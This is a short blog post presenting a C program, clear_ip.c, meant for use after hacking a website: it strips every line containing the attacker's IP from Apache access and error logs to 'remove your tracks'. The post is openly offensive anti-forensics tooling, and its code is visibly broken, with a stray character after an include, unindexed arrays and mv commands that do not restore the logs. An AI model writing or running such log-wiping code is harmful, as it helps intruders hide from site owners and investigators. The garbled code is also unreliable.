Clear httpd logs

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January 01

Hacked one website, the most important thing is removed your tracks.

here is a example, about how to clear your IP in the web serive's logs.

-----------------------------clear_ip.c---------------------------------------

#include "stdio.h"j
#include "fcntl.h"
#include "utmp.h"
#include "sys/types.h"
#include "unistd.h"
#include "lastlog.h"
#include "pwd.h"

#define HTTPDA "/etc/httpd/logs/access_log"
#define HTTPDE "/etc/httpd/logs/error_log"
#define MAXBUFF 8*1024

int main(int argc, char *argv[])
{
int i,size;
FILE *pfile;
FILE *pfile2;
char *varlogs[]={HTTPDA,HTTPDE};
char *newlogs[]={"httpda.hm","httpde.hm"};
char buffer[MAXBUFF];

char host_ip[17];

/*usage of the program*/
if(argc!=2)
{
printf("\n\n");
fprintf(stderr,"Clear web service log\t\tby dorainm dorainm@gmail.com\n\n");
fprintf(stderr,"usage:\t%s <IP>\n\n",argv[0]);
exit(1);
}

strcpy(host_ip,argv[1]);
i=0;

while(i<2)
{
printf("Processing %s\t",varlogs);
pfile=fopen(varlogs,"r");
if(!pfile)
{
printf("Can't open %s\n\n",varlogs);
i++;
continue;
}
pfile2=fopen(newlogs,"w");
if(!pfile2)
{
printf("Can't create backup file %s\n\n",newlogs);
i++;
continue;
}
else
{
while(fgets(buffer,MAXBUFF,pfile)!=NULL)
{
if(!strstr(buffer,host_ip))
{
fputs(buffer,pfile2);
}
}
}
fclose(pfile);
fclose(pfile2);
printf("Done\n");
i++;
}
printf("\n");
system("mv httpda.hm /etc/httpd/logs");
system("mv httpde.hm /etc/httpd/logs");
printf("\n");
printf("Your tracks have been removed\n\n");
printf("Exiting program !!\n\n");
exit(0);
}

7:52 PM | Blog it | Linux Programming

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